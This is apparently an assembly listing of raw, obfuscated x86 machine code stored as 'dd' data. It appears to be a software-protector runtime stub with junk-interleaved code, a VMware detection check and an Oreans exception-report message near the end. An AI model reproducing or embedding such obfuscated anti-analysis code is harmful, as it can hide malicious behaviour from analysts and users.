		dd 5005EBFCh, 146EBA66h, 0FC7E858Dh, 0B52905EBh, 5E906A5h
		dd 53006A50h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 0BD8B6B07h, 5E90D3Dh, 628FD0B9h,	0A595FF7Eh
		dd 8005E903h, 0C483D7EAh, 0FC08B10h, 0BD83D1B7h, 5E9164Dh
		dd 83097500h, 0E91121BDh, 19740005h, 0C08B5350h, 7D3B8h
		dd 0B9858900h, 8D05E923h, 0EBB8C49Dh, 5BD3FF05h, 21BD8358h
		dd 5E911h, 53501774h, 7D3B8h, 0B9858900h, 8D05E923h, 0EBB5B39Dh
		dd 5BD3FF05h, 0E9D38B58h, 5, 0DF217341h, 0C08BF577h, 0AC1BD89h
		dd 0BD8105E9h, 5EBFAA8h, 6165726Fh, 0A4840Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 6A967AC3h, 20858DCFh, 5005EBFBh, 0FC5D858Dh,	8D5005EBh
		dd 0EBFC7E85h, 95FF5005h, 5E903A5h, 0C60CC483h,	0E90EE585h
		dd 4F684405h, 0FF96A318h, 0E92345B5h, 0CF858D05h, 0FF05E939h
		dd 8DD88BD0h, 0EBFC7E85h, 0D3FF5005h, 0FAA8858Dh, 8D5005EBh
		dd 0EBFB2085h, 0BD835005h, 5E90E09h, 8D087400h,	0EBFC4685h
		dd 8D06EB05h, 0EBFC2F85h, 858D5005h, 5EBFC7Eh, 0A595FF50h
		dd 8305E903h, 0D18110C4h, 73839F3h, 0AE18D29h, 95FF05E9h
		dd 5E922A1h, 3135950Bh,	0FF2505E9h, 66000000h, 0F1E8CF81h
		dd 0F05F883h, 4D83h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 0B5294AD8h, 5E92B35h
		dd 1995E981h, 85C760A4h, 5E92FB1h, 1, 194D8D31h, 858D05E9h
		dd 5EBFADCh, 0E9F88B66h, 3Bh, 30FD9589h, 0BD8305E9h, 5E90E09h
		dd 20840F00h, 8B000000h, 0E928118Dh, 89BD8B05h,	8D05E902h
		dd 0EBFB0785h, 49BD8B05h, 0E905E916h, 0Bh, 8DFEB70Fh, 0EBFAE985h
		dd 8948B605h, 0EBFB1C85h, 0F8BF0F05h, 0E09BD83h, 0F0005E9h
		dd 1385h, 0A3BD8300h, 5EC0Ah, 24840Fh, 8D8B0000h, 5E926B9h
		dd 115BE9h, 14E900h, 3AF20000h,	0ABD8E416h, 0B3F897D0h
		dd 73DF7D07h, 1EA544E7h, 0A6E90D32h, 80000004h,	0C08BB8C6h
		dd 164DBD83h, 750005E9h, 21BD8309h, 5E911h, 53501974h
		dd 0D4B8C08Bh, 89000007h, 0E923B985h, 0C49D8D05h, 0FF05EBB8h
		dd 83585BD3h, 0E91121BDh, 17740005h, 0D4B85350h, 89000007h
		dd 0E923B985h, 0B39D8D05h, 0FF05EBB5h, 8B585BD3h, 0E92639BDh
		dd 0CDB58905h, 8B05E91Eh, 58D8BC0h, 105E912h, 0E90BE185h
		dd 3F6805h, 870F000Fh, 3, 6ACBBF0Fh, 7B0BBA00h,	8D8B77A6h
		dd 5E925A9h, 8B0F006Ah,	1Bh, 0DE860h, 0DE880000h, 8FECE0E4h
		dd 17FC8A09h, 5ED79C37h, 820Fh,	89610000h, 0E92A25B5h
		dd 5D95FF05h, 6A05E925h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0AB88C350h,	31B58529h
		dd 0C08505E9h, 0E850Fh,	66600000h, 890FF88Bh, 3, 616EC480h
		dd 0FAA08589h, 6A05EBh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 0F72CDAC3h, 4CB0E651h, 6A9EF9h
		dd 2F459589h, 6A05E9h, 195D8D8Bh, 6A05E9h, 4D858960h, 6105E931h
		dd 0FE8006Ah, 8C000000h, 4E977602h, 0E7E567E1h,	402C5D96h
		dd 830FB1E6h, 6, 30BD8509h, 8B5F05E9h, 8B006AFAh, 0E9249995h
		dd 7E858D05h, 6A05EBFCh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 26FFC353h, 23174449h
		dd 0E905B195h, 0CF8B6605h, 55006A50h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 830FD70Bh
		dd 1, 0A59D09F9h, 6A05E92Ah, 19D8901h, 6A05E917h, 0FE8B6601h
		dd 6A016Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0A47ED2C3h, 0B5BD8BA9h, 6805E921h, 0F01FFh
		dd 9BD83FCh, 5E90Eh, 33840Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 8DF56CC3h
		dd 0EBFAFD85h, 0A9958B05h, 0E905E925h, 0Eh, 0E3695FBFh
		dd 0D3858D4Ch, 8005EBFAh, 6A50C6EAh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 7F6DC352h
		dd 31E5EAB9h, 6890F3Eh,	29000000h, 0E9045D8Dh, 68A0F05h
		dd 8B000000h, 0E92DD1BDh, 13E95005h, 3F000000h,	0DBB27E38h
		dd 0EF9BE7D0h, 3D4E3B2Bh, 0C5EBEE7h, 0B5FF4384h, 5EBFAA0h
		dd 11E8h, 1169100h, 4A0078F0h, 0E69B8086h, 5A3BD7AAh, 8B667FA8h
		dd 95FF5FCFh, 5EBFA8Ch,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 48C35545h, 8524122Bh,	13850FC0h, 8B000000h
		dd 0E926718Dh, 0A9E905h, 0BD8B0000h, 5E927F1h, 8589F98Bh
		dd 5EBFAA4h, 89958B60h,	6605E927h, 614F04B8h, 0FAA4B5FFh
		dd 77BA05EBh, 0FF2A3E49h, 0E9272595h, 51006A05h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
		dd 0EADF9E0Ah, 6672709Dh, 561BAEDh, 12B677B2h, 850FC085h
		dd 4Bh,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh
		dd 0F1C35545h, 126F0364h, 0E8CE0AE0h, 6, 40EA5856h, 11E9C1B4h
		dd 0F2000000h, 0B0CE3709h, 1BF6D064h, 6DAEFE9Eh, 6EE7ADFAh
		dd 0A18D8B5Ah, 6A05E91Fh, 0BD83F910h, 5E90E09h,	44840F00h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0E5E4C352h, 0A5B3B06h,	0DA45FE77h
		dd 858DCB8Bh, 5EBFAFDh,	1CE9C88Bh, 0E9000000h, 0Bh, 0A8B807C8h
		dd 676B446Dh, 8D1D449Fh, 0EBFAD385h, 0E1858905h, 5005E926h
		dd 1CC19D01h, 0B5FF05E9h, 5EBFAA0h, 74F6BF66h, 0FA9895FFh
		dd 7E905EBh, 0AB000000h, 0E35EDF72h, 0C085CF00h, 0C850Fh
		dd 0BD010000h, 5E91861h, 7D5B529h, 858905E9h, 5EBFAA4h
		dd 1A98D8Bh, 0CB8B05E9h, 9D89006Ah, 5E90049h, 8166006Ah
		dd 0FF7388CAh, 0EBFAA4B5h, 9E905h, 2F660000h, 0C0237BC6h
		dd 0FF42D1B9h, 0EBFA9095h, 498D8B05h, 8505E917h, 3850FC0h
		dd 0F000000h, 0B5FFD6BFh, 5EBFAA4h, 7670F181h, 95FF1E46h
		dd 5E92725h, 0C850Fh, 8F0F0000h, 6, 2589B589h, 958B05E9h
		dd 5E911F9h, 850FC085h,	5, 3ECA8166h, 66006A42h, 8068CE8Bh
		dd 8B000000h, 0E92B998Dh, 0F036A05h, 1388h, 0EE900h, 6E5C0000h
		dd 90BBAE24h, 8DA72BCh,	8D8F30A1h, 5E9006Ah, 45000000h
		dd 8818D50Ch, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 0C21471C3h, 0D5C3C4E3h, 2908A3F5h
		dd 0E9267DBDh, 6805h, 8D8BC000h, 5E917C1h, 0FB1CB5FFh
		dd 0BF0F05EBh, 595FFCEh, 6A05E90Fh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 98ADC350h
		dd 10E9B3E2h, 18000000h, 4A75DD9Eh, 8985BCF9h, 482400D2h
		dd 83CA2E72h, 850FFFF8h, 4F1h, 613CC981h, 958B67EEh, 5E929F1h
		dd 58A85FFh, 0CE8A05ECh, 58ABD83h, 0F0205ECh, 3DA84h, 8DF98B00h
		dd 5AF59F85h, 0BFE18100h, 3438AC0h, 0E90E9D8Dh,	8BD0FF05h
		dd 0E9267D95h, 0F2858D05h, 0FF005AEFh, 9DB589D0h, 8B05E92Fh
		dd 890F60C0h, 2, 83615E57h, 0E9164DBDh,	9750005h, 1121BD83h
		dd 740005E9h, 8B535019h, 7D8B8C0h, 85890000h, 5E923B9h
		dd 0B8C49D8Dh, 0D3FF05EBh, 0BD83585Bh, 5E91121h, 50177400h
		dd 7D8B853h, 85890000h,	5E923B9h, 0B5B39D8Dh, 0D3FF05EBh
		dd 0BD8B585Bh, 5E91DB5h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 19h, 0FDC35242h, 92950135h, 218D8B2Dh, 8B05E90Bh
		dd 0C8E0FC0h, 0F000000h, 682h, 0B58D8B00h, 6805E90Ah, 0F003Fh
		dd 6A006Ah, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 17h,	21C35242h, 0FECC70Fh, 95FFCBB7h, 5E9255Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 5FC35343h, 49FF7F9Ch
		dd 93F4A973h, 90DAC781h, 8B6647BDh, 0CDBD8BD3h,	8505E932h
		dd 14E9C0h, 96CD0000h, 2411AC9Bh, 0AF8D8CBh, 881DDDF6h
		dd 56A7246Dh, 85899B36h, 5EBFAA0h, 5FFA8B56h, 0FF68A6B6h
		dd 8B000F01h, 9BD83CEh,	5E90Eh,	19840Fh, 4B50000h, 0FAFD858Dh
		dd 858905EBh, 5E90695h,	1BE9h, 1DBD2900h, 8D05E927h, 0EBFAD385h
		dd 6890F05h, 89000000h,	0E90ADDBDh, 0C8BF0F05h,	0D7816650h
		dd 0B5FFA776h, 5EBFAA0h, 95FFE1B2h, 5EBFA98h, 6858529h
		dd 858905E9h, 5EBFAA4h,	0EB2F91BFh, 0B19D292Ch,	0C705E92Eh
		dd 0E92FC585h, 5, 0E9BD8B00h, 8305E90Bh, 0EBFAA4BDh, 840F0005h
		dd 1DCh, 68F0Fh, 0BD8B0000h, 5E92F09h, 0FD82858Dh, 6A05EBh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 9EB158C3h, 0A17877B4h, 508D1D00h, 8B0Fh, 16A0000h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 6CC35747h, 0F93C4667h
		dd 0BA0E072Eh, 0B5FFF98Bh, 5EBFAA4h, 23759D09h,	95FF05E9h
		dd 5EBFA9Ch, 0FFCAB70Fh, 0EBFAA4B5h, 1800F05h, 0F8000000h
		dd 27659D31h, 95FF05E9h, 5E92725h, 2C0D9D01h, 0FF6805E9h
		dd 6A000F01h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 7E7AC355h, 0E5B96C9Ch,	0BE9958Bh
		dd 0BD8305E9h, 5E90E09h, 3A840F00h, 0BA000000h,	63042078h
		dd 0FAFD858Dh, 6A05EBh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 982313C3h, 8589C88Ah, 5E90CD9h
		dd 2AE9h, 0A6B96600h, 0D3858DA3h, 0E805EBFAh, 14h, 7ACE21E0h
		dd 9DA59DD1h, 0CE3BAB11h, 7B4D3DECh, 0BBD635A0h, 19159529h
		dd 505905E9h, 1155BD89h, 0B5FF05E9h, 5EBFAA0h, 2CF19D29h
		dd 95FF05E9h, 5EBFA98h,	4AD9589h, 858905E9h, 5EBFAA4h
		dd 18C8BF66h, 0FAA4B5FFh, 6A05EBh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 0EB6A2AC3h, 0B5893023h
		dd 5E90799h, 1D61BD29h,	0FE805E9h, 44000000h, 4DDE831Eh
		dd 38202A1Eh, 4EF10179h, 8957DF5Bh, 0E93269B5h,	0FF5A5905h
		dd 0EBFA9495h, 0B1858905h, 0FF05E92Eh, 0EBFAA4B5h, 0BE905h
		dd 193C0000h, 0B64ED257h, 7F73D7D2h, 95FFF50Ch,	5E92725h
		dd 2880Fh, 0CA8B0000h, 0FFF6C9E9h, 51006AFFh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0F5E18CDFh
		dd 0FF79B617h, 0EC05EDB5h, 958D8905h, 0FF05E910h, 0E90BC595h
		dd 38F0F05h, 0F000000h,	9E9FABFh, 0F1000000h, 8BF3152Bh
		dd 0D5ABFBB0h, 2DCD858Bh, 958B05E9h, 5E91D8Dh, 5A3E9h
		dd 15BD8900h, 8D05E912h, 0EBFDA2B5h, 8D8D8B05h,	8105E924h
		dd 0FBCCFCF1h, 97858D55h, 8A05EBAAh, 6AD0FFE8h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 0BDA0C352h, 113E312Bh, 28E18D89h, 2BBF05E9h,	6A593565h
		dd 0F4D98000h, 176195FFh, 0BA6605E9h, 0F38B783Eh, 2AD8D01h
		dd 858D05E9h, 5EBAA97h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 9AC35646h, 48E4C6DEh,	0B2B5B2h, 0FD0FFC4h
		dd 683h, 9BD8B00h, 6A05E91Eh, 5E800h, 1D6C0000h, 0B90567C1h
		dd 39048BF2h, 6195FF5Ah, 8B05E917h, 0E9054D8Dh,	0E9C08B05h
		dd 0Bh,	4048D281h, 84194BE2h, 83C434FEh, 0E9164DBDh, 9750005h
		dd 1121BD83h, 740005E9h, 8B535019h, 7D9B8C0h, 85890000h
		dd 5E923B9h, 0B8C49D8Dh, 0D3FF05EBh, 0BD83585Bh, 5E91121h
		dd 50177400h, 7D9B853h,	85890000h, 5E923B9h, 0B5B39D8Dh
		dd 0D3FF05EBh, 0DBF585Bh, 6638D72Dh, 0B721EF81h, 6AC08Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0A72F4DC3h, 5DB5893Bh, 5005E912h, 7EF78166h,	89D88B83h
		dd 0E90BF985h, 9D8D5305h, 5E925D1h, 389038Bh, 8950438Bh
		dd 9D8D5043h, 5EC0586h,	389038Bh, 6850F5Bh, 8B000000h
		dd 0E93285BDh, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 8EBADCD3h, 0BD0B5E25h
		dd 5E90521h, 6A29B5h, 8DF98B66h, 0EC058685h, 91BD8B05h
		dd 0B105E903h, 6A50A7h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0A520EDC3h, 6AD58AE2h, 52006A60h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 8D293CECh, 5E927ADh,	0FAE98060h, 28F0Fh, 48B70000h
		dd 0D1858D61h, 6605E925h, 0D686E981h, 50006A50h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
		dd 0F5019556h, 8B006A37h, 6A006ACEh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 51E9C351h
		dd 0D9CE181h, 0E95F07E9h, 6, 0D0037725h, 68261Fh, 8B000018h
		dd 0E92CE98Dh, 6A5305h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0C72541C3h, 73FEFD82h, 95FFB9D4h
		dd 5E92711h, 0C2ACBF66h, 2DC595FFh, 6A05E9h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 745DEEC3h
		dd 896D4714h, 0E902A585h, 0EDB5FF05h, 8105EC05h, 9B1A17C1h
		dd 0C595FF17h, 8D05E90Bh, 0E925D185h, 18408B05h, 0C985C7F8h
		dd 5E919h, 89000000h, 0E926EDBDh, 9BD8305h, 5E90Eh, 1A840Fh
		dd 95B50000h, 8C3Dh, 0A3830F00h, 8B000001h, 0E910DDBDh
		dd 12E905h, 0F78A0000h,	963Dh, 8B830F00h, 66000001h, 5E4EEA81h
		dd 0F59F858Dh, 8D8B005Ah, 5E90785h, 0EE80D0FFh,	0F2858DB5h
		dd 6A005AEFh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 2431C351h, 0E960876Bh,	13h, 0DEDF0BCh
		dd 0D92B592h, 0F7972591h, 776A2ED2h, 0E9FD8B5Eh, 0Fh, 0E989AA78h
		dd 89F373ABh, 0BF265D40h, 6146973Eh, 0D0FF8CB1h, 0E856006Ah
		dd 3
		dd 5EC35E20h, 4247489h,	4244481h, 14h, 0D7C35646h, 5B9BD29h
		dd 665205E9h, 5907F5BAh, 0BD83C08Bh, 5E9164Dh, 83097500h
		dd 0E91121BDh, 19740005h, 0C08B5350h, 0BC6B8h, 0B9858900h
		dd 8D05E923h, 0EBB8C49Dh, 5BD3FF05h, 21BD8358h,	5E911h
		dd 53501774h, 0BC6B8h, 0B9858900h, 8D05E923h, 0EBB5B39Dh
		dd 5BD3FF05h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 958B57B6h, 5E913D1h, 0F4B9665Fh
		dd 6AC08B0Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0F48FC357h, 236D8D89h,	950305E9h
		dd 5E92E6Dh, 0FFFF883h,	2D85h, 0FE8B6600h, 0FA585C7h, 5E9h
		dd 0BD8B0000h, 5E902B1h, 0CFE9h, 8870F00h, 50000000h, 321BD8Bh
		dd 0E95905E9h, 18h, 0F883D7B2h,	0D850F01h, 89000000h, 0E90EF18Dh
		dd 0EEE905h, 0C88B0000h, 0FFF1B1E9h, 1E93B9FFh,	0C08B3241h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0EFC35343h
		dd 84F0BD4Fh, 9AF3EE67h, 0FE988h, 0B90D0000h, 3CF005E4h
		dd 1DF76863h, 0DE91846Ah, 4DBD83B3h, 5E916h, 0BD830975h
		dd 5E91121h, 50197400h,	0B8C08B53h, 7DDh, 23B98589h, 9D8D05E9h
		dd 5EBB8C4h, 585BD3FFh,	1121BD83h, 740005E9h, 0B8535017h
		dd 7DDh, 23B98589h, 9D8D05E9h, 5EBB5B3h, 585BD3FFh, 0B650F88Bh
		dd 0C08B5F6Bh, 252E9F9h, 8D8B0000h, 5E90B8Dh, 38A858Dh
		dd 6A05ECh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 9A277FC3h, 0E859DA80h, 8,	9F9D737Dh, 24C1087Ah
		dd 8285895Ah, 6605EC05h, 0DE58DF81h, 67E9h, 0C88B6600h
		dd 192858Dh, 6A05ECh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 9650EDC3h, 811672C0h, 0BF17A3F2h
		dd 6DBD2917h, 4005E924h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0BDC35343h, 51569831h, 0BD8BF7B7h, 5E90449h
		dd 5828589h, 0D38B05ECh, 858D346Ah, 5E91175h, 82B5FF50h
		dd 6A05EC05h, 0A595FF00h, 8305E91Dh, 840F07F8h,	162h, 0F6DB8C66h
		dd 850F04C3h, 0FCh, 0EE585C6h, 685605E9h, 9CA8B852h, 2345B5FFh
		dd 858D05E9h, 5E939CFh,	46AD0FFh, 100068h, 6A646A00h, 89D0FF00h
		dd 0EC05F585h, 0E585C605h, 4705E90Eh, 18AC9B68h, 45B5FFECh
		dd 8D05E923h, 0E939CF85h, 0FFD0FF05h, 0C6F08BD0h, 0E90EE585h
		dd 61684F05h, 0FFC62F26h, 0E921D5B5h, 0CF858D05h, 0FF05E939h
		dd 0F19D8DD0h, 5305EC05h, 0FF56286Ah, 75C085D0h, 0E585C600h
		dd 4105E90Eh, 87649868h, 0D5B5FFDBh, 8D05E921h,	0E939CF85h
		dd 89D0FF05h, 0EC060E85h, 0E585C605h, 4C05E90Eh, 0A4E7A468h
		dd 0D5B5FF80h, 8D05E921h, 0E939CF85h, 8BD0FF05h, 0EC05F59Dh
		dd 45B8D05h, 0FA9D8D53h, 5305EC05h, 0D0FF006Ah,	5F59D8Bh
		dd 3C705ECh, 1,	20C43C7h, 0C7000000h, 0E9302585h, 5, 6A006A00h
		dd 8B006A00h, 0EC05F59Dh, 6A5305h, 5F1B5FFh, 95FF05ECh
		dd 5EC060Eh, 0EE585C6h,	684505E9h, 92A5F797h, 39B5FFh
		dd 858D05E9h, 5E939CFh,	6AD0FFh, 0D0FF026Ah, 0F6DB8C66h
		dd 327504C3h, 5F59D8Bh,	43C705ECh, 0Ch,	6A006A00h, 0F59D8B00h
		dd 5305EC05h, 0B5FF006Ah, 5EC05F1h, 60E95FFh, 0B5FF05ECh
		dd 5EC05F1h, 2DC595FFh,	6A05E9h, 176195FFh, 96B505E9h
		dd 9AEAC281h, 31603316h, 0E91DFD85h, 55BD8B05h,	6105E903h
		dd 3A33858Dh, 0BA6605ECh, 0FB10163h, 0CE950h, 635D0000h
		dd 6D5F351Bh, 4F19C4E1h, 8B0F7E47h, 6, 8098501h, 0FF6405E9h
		dd 35h,	9DB96600h, 258964D4h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0DCC35141h
		dd 6820F88h, 89000000h,	0E907CD8Dh, 3880F05h, 80000000h
		dd 93BA84EAh, 8307686Fh, 0E91EDDBDh, 840F0005h,	37h, 21ED958Bh
		dd 0BD8305E9h, 5E901BDh, 24850F01h, 89000000h, 0E92751BDh
		dd 0EBD8005h, 5EC0Ah, 11850Fh, 8D0B0000h, 5E92821h, 1E7E9h
		dd 0EDB58900h, 3305E926h, 0DE960DBh, 0A5000000h, 0AF18725Ah
		dd 59977769h, 6E9E8BC1h, 3758D8Bh, 896105E9h, 0E9317195h
		dd 60C03305h, 0CDBD8960h, 2905E907h, 0E91D81B5h, 9D296105h
		dd 5E92EE5h, 3F0F4061h,	8F640B07h, 5, 4C48300h,	1E91BD8Bh
		dd 6A05E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 84BAC9C3h, 831F0970h, 840FFFFBh, 30h, 810Fh
		dd 0F600000h, 68Fh, 458D0100h, 0BB05E92Ah, 0CC0A79Dh, 140E961h
		dd 0DE90000h, 54000000h, 161C69B2h, 0DDFEBFE6h,	6A1C695h
		dd 79E9h, 958B5600h, 5E91EA9h, 0D1B70F59h, 0C244C8Bh, 0A481C7h
		dd 0FFFF0000h, 8183FFFFh, 0B8h,	0C3C03304h, 0C245C8Bh
		dd 0E855h, 815D0000h, 0EC3A55EDh, 0B8838B05h, 8D000000h
		dd 0EC3B5B85h, 0B8838905h, 5D000000h, 0FC3C033h, 681h
		dd 810F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 1627C356h, 3E587A4Fh
		dd 858DC88Bh, 5EC3A4Bh,	0CD8D8B60h, 5305E91Ch, 4FD9D8Bh
		dd 615905E9h, 53006A50h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 0C5C3B4CAh, 6014893Fh, 37DBBA66h
		dd 1221BD23h, 0F6105E9h, 0A81h,	48F0F00h, 66000000h, 64F842BAh
		dd 35FFh, 0ED800000h, 25896453h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 7BC35040h
		dd 0FA8B6642h, 0AB905B6h, 0B8000000h, 4855D704h, 0F7816405h
		dd 0D465BB0Dh, 40BA8685h, 810034B6h, 345FE8EAh,	0FB81ED00h
		dd 564D5868h, 85C70A75h, 5E928E5h, 1, 58F64h, 83000000h
		dd 0E9FC04C4h, 7, 0C80F5C68h, 8B981686h, 0D99529C0h, 8305E915h
		dd 0E9164DBDh, 9750005h, 1121BD83h, 740005E9h, 8B535019h
		dd 43DB8C0h, 85890000h,	5E905ADh, 0B92B9D8Dh, 0D3FF05EBh
		dd 0BD83585Bh, 5E91121h, 50177400h, 43DB853h, 85890000h
		dd 5E905ADh, 0B5CC9D8Dh, 0D3FF05EBh, 958B585Bh,	5E91269h
		dd 0BE9h, 0C991A900h, 3BDB7BDEh, 0FC4FC81Eh, 3AE9C08Bh
		dd 4000001h, 31000000h,	3535382Eh, 7 dup(0)
		dd 63784500h, 69747065h, 49206E6Fh, 726F666Eh, 6974616Dh
		dd 50006E6Fh, 7361656Ch, 73202C65h, 20646E65h, 20656874h
		dd 6C6C6F66h, 6E69776Fh, 6F632067h, 20736564h, 69206F74h
		dd 406F666Eh, 6165726Fh, 632E736Eh, 202E6D6Fh, 6E616854h
		dd 6F79206Bh, 0D0A2E75h, 20200D0Ah, 20202020h, 70282020h
		dd 73736572h, 52544320h, 20432B4Ch, 74206E6Fh, 20736968h
		dd 646E6977h, 7420776Fh, 6F63206Fh, 74207970h, 6C63206Fh
		dd 6F627069h, 29647261h, 20202020h, 0D0A0D0Ah, 73726556h
		dd 206E6F69h, 25203D20h, 430D0A73h, 6B636568h, 20204E49h
		dd 6425203Dh, 68430D0Ah, 4F6B6365h, 3D205455h, 0A642520h
		dd 6F72500Dh, 204E4963h, 203D2020h, 0D0A6425h, 636F7250h
		dd 2054554Fh, 25203D20h, 450D0A64h, 49746978h, 2020204Eh
		dd 6425203Dh, 78450D0Ah, 554F7469h, 3D202054h, 0A642520h
		dd 6950540Dh, 2020206Eh, 203D2020h, 0D0A6425h, 49BD8300h
		dd 5E910h, 12D840Fh, 858D0000h,	5EBB3E3h, 4D858D50h, 5005EBB3h
		dd 168h, 0F395FF80h, 8D05EBB3h,	0EC3BE285h, 858D5005h
		dd 5EC3BECh, 6A006A50h,	61858D00h, 5005EBB3h, 0B3E3B5FFh
		dd 95FF05EBh, 5E91D39h,	3BE2858Dh, 8D5005ECh, 0EC3BF085h
		dd 6A5005h, 858D006Ah, 5EBB373h, 0E3B5FF50h, 0FF05EBB3h
		dd 0E91D3995h, 0E2858D05h, 5005EC3Bh, 3BFC858Dh, 6A5005ECh
		dd 8D006A00h, 0EBB3C085h, 0B5FF5005h, 5EBB3E3h,	1D3995FFh
		dd 858D05E9h, 5EC3BE2h,	4858D50h, 5005EC3Ch, 6A006Ah, 0B3DE858Dh
		dd 0FF5005EBh, 0EBB3E3B5h, 3995FF05h, 8D05E91Dh, 0EC3BE285h
		dd 858D5005h, 5EC3C00h,	6A006A50h, 0C7858D00h, 5005EBB3h
		dd 0B3E3B5FFh, 95FF05EBh, 5E91D39h, 3BE2858Dh, 8D5005ECh
		dd 0EC3BF485h, 6A5005h,	858D006Ah, 5EBB3CFh, 0E3B5FF50h
		dd 0FF05EBB3h, 0E91D3995h, 0E2858D05h, 5005EC3Bh, 3BF8858Dh
		dd 6A5005ECh, 8D006A00h, 0EBB3D685h, 0B5FF5005h, 5EBB3E3h
		dd 1D3995FFh, 0B5FF05E9h, 5EBB3E3h, 0BB195FFh, 0A2E905E9h
		dd 83000000h, 0E92281BDh, 840F0005h, 95h, 1BDBD83h, 0F0005E9h
		dd 1185h, 19958B00h, 8105E91Dh,	1CF8C2h, 0FE900h, 958D0000h
		dd 5E925D1h, 8134528Bh,	0D4C340C2h, 0D995893Bh,	8305E92Fh
		dd 0E92FD9BDh, 840F0005h, 55h, 2FD99D8Bh, 0C38305E9h, 89038B4Ch
		dd 0EC3BEC85h, 0D99D8B05h, 8305E92Fh, 38B50C3h,	3BF08589h
		dd 9D8B05ECh, 5E92FD9h,	8B54C383h, 0FC858903h, 8B05EC3Bh
		dd 0E92FD99Dh, 58C38305h, 8589038Bh, 5EC3C00h, 2FD99D8Bh
		dd 0C38305E9h, 89038B5Ch, 0EC3BF485h, 49BD8305h, 5E910h
		dd 0D850Fh, 0BD830000h,	5E92281h, 68840F00h, 0FF000000h
		dd 0EC3C04B5h, 0F8B5FF05h, 0FF05EC3Bh, 0EC3BF4B5h, 0B5FF05h
		dd 0FF05EC3Ch, 0EC3BFCB5h, 0F0B5FF05h, 0FF05EC3Bh, 0EC3BECB5h
		dd 0E6858D05h, 5005EC3Bh, 3C1E858Dh, 8D5005ECh,	0E913D985h
		dd 95FF5005h, 5E903A5h,	6A24C483h, 8858D40h, 5005EC3Ch
		dd 13D9858Dh, 6A5005E9h, 0A595FF00h, 6A05E91Dh,	6195FF01h
		dd 8B05E917h, 6A60C1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 8E0C88C3h, 322D39E7h, 0C08BD68Bh
		dd 83D6B70Fh, 0E9164DBDh, 9750005h, 1121BD83h, 740005E9h
		dd 8B535019h, 40EB8C0h,	85890000h, 5E923B9h, 0B8C49D8Dh
		dd 0D3FF05EBh, 0BD83585Bh, 5E91121h, 50177400h,	40EB853h
		dd 85890000h, 5E923B9h,	0B5B39D8Dh, 0D3FF05EBh,	0B966585Bh
		dd 6A70FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
